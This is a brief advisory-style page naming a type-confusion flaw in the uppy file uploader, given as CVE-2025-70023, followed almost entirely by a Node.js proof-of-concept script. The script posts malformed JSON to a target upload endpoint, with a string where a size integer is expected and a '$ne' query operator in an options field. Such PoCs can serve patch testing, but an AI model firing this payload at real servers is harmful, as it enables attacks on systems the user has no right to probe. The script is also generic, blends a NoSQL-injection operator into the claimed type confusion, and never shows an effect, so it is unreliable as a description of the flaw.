CVE-2025-70023 transloadit uppy类型混淆漏洞

// PoC for CVE-2025-70023: Type Confusion in transloadit/uppy // This script demonstrates sending a payload with incompatible types // to trigger the vulnerability. const axios = require('axios'); const targetUrl = 'http://target-server/api/upload'; // Malformed payload exploiting type confusion (CWE-843) // Constructing an object where a primitive type is expected const exploitPayload = { "files": [ { "name": "test.jpg", "size": "INVALID_TYPE_STRING", // Expecting Integer, sending String "type": "image/jpeg", "meta": { "source": "upload" } } ], "options": { // Sending an object where a boolean or specific string enum is expected "allowDuplicates": { "$ne": null } } }; async function triggerVuln() { try { console.log(`[+] Sending exploit payload to ${targetUrl}...`); const response = await axios.post(targetUrl, exploitPayload, { headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' } }); console.log(`[+] Response Status: ${response.status}`); console.log(`[+] Response Data: ${JSON.stringify(response.data)}`); // Check for indicators of successful exploitation (e.g., debug info, error, or unexpected behavior) } catch (error) { if (error.response) { console.error(`[-] Server responded with status: ${error.response.status}`); console.error(`[-] Error Data: ${JSON.stringify(error.response.data)}`); } else { console.error(`[-] Request failed: ${error.message}`); } } } triggerVuln();